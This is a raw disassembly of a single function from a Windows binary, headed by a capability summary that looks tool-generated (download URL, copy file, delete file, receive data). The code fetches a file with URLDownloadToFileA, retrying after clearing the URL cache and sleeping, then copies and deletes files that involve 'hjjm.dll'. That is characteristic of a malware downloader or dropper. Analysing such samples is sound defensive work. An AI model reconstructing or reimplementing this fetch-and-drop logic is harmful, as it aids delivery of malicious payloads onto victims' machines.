Function at 0x4047c0
Capabilities:
Access peb ldr_data
Copy file
Delete file
Download url
Get number of processors
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x451528
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov eax, dword [0x470ee4]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0x30], edi
push str.hjjm.dll
lea eax, [esp + 0x24]
push 0x4723c8
push eax
call fcn.00401e20
mov eax, dword [eax]
push eax
mov dword [esp + 0x4c], 0
call fcn.00406270
mov esi, eax
mov eax, dword [esp + 0x30]
or ebx, 0xffffffff
add eax, 0xfffffff0
add esp, 0x10
mov dword [esp + 0x3c], ebx
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40483c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x404859
mov eax, 1
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
push str.hjjm.dll
lea ecx, [esp + 0x24]
push 0x4723a8
push ecx
call fcn.00401e20
mov eax, dword [eax]
mov ebp, 1
push eax
mov dword [esp + 0x4c], ebp
call fcn.00406270
mov esi, eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
add esp, 0x10
mov dword [esp + 0x3c], ebx
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4048a6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x404961
push str.hjjm.dll
lea ecx, [esp + 0x20]
push 0x4723c8
push ecx
call fcn.00401e20
mov esi, eax
push str.hjjm.dll
lea edx, [esp + 0x30]
push 0x4723a8
push edx
mov dword [esp + 0x54], 2
call fcn.00401e20
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404911
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov dword [esp + 0x3c], ebx
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404934
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x404961
call fcn.00414d02
mov eax, dword [eax + 4]
test eax, eax
je 0x40494b
mov ecx, eax
call fcn.00411c50
mov eax, ebp
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
call fcn.00414eb4
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40497b
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov dword [esp + 0x3c], 3
call fcn.00414eb4
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4049ad
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
mov byte [esp + 0x3c], 4
call fcn.00414eb4
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4049dc
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
lea ecx, [edi + 0x30]
push ecx
lea ecx, [esp + 0x20]
mov byte [esp + 0x40], 5
mov dword [esp + 0x24], ebp
call fcn.00401c80
mov edx, dword [edi + 0x34]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
push ecx
mov ecx, edi
mov dword [esp + 0x34], edx
call fcn.004040b0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 6
call fcn.00401c80
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea edx, [eax + 0xc]
mov ecx, ebx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404a4d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str..fff
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00401e20
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 7
call fcn.00401c80
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebx
dec ebx
test ebx, ebx
jg 0x404a95
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x14]
push esi
call fcn.00406270
add esp, 4
test eax, eax
je 0x404aad
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov ebx, dword [esp + 0x1c]
push ebx
call esi
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push 0x4723a8
push edx
call fcn.00401d60
mov eax, dword [eax]
add esp, 0xc
push 0
push 0
push eax
push ebx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
mov eax, dword [esp + 0x24]
setne bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404b0d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x404b61
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push 0x4723a8
push edx
call fcn.00401d60
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404b51
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x64
call ebp
add edi, 1
cmp edi, 3
jl 0x404abb
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push 0x4723a8
push edx
call fcn.00401d60
add esp, 0xc
mov ecx, dword [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x34]
push eax
mov byte [esp + 0x44], 8
call fcn.00401210
test eax, eax
mov eax, dword [esp + 0x28]
sete bl
add eax, 0xfffffff0
or edi, 0xffffffff
mov byte [esp + 0x3c], 5
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404bb8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x404c7e
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x34]
push 0x4723a8
push edx
call fcn.00401d60
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404bff
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404c23
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 3
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404c47
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x3c], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404c68
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
push 0x64
call ebp
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x30]
push 0x4723c8
push edx
call fcn.00401d60
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push 0x4723a8
push ecx
mov byte [esp + 0x54], 9
call fcn.00401d60
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404ce3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404d07
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x404d20
call fcn.00414d02
mov eax, dword [eax + 4]
test eax, eax
je 0x404d28
mov ecx, eax
call fcn.00411c50
jmp 0x404d28
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push 0x4723a8
push edx
call fcn.00401d60
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x3c]
push 0x4723a8
push ecx
mov byte [esp + 0x54], 0xa
call fcn.00401d60
mov esi, dword [esi]
mov eax, dword [eax]
push esi
push eax
call fcn.0043bfb8
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
add esp, 0x20
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404d84
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 5
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404da8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 4
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404dcc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x3c], 3
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404df0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov dword [esp + 0x3c], edi
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x404e11
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret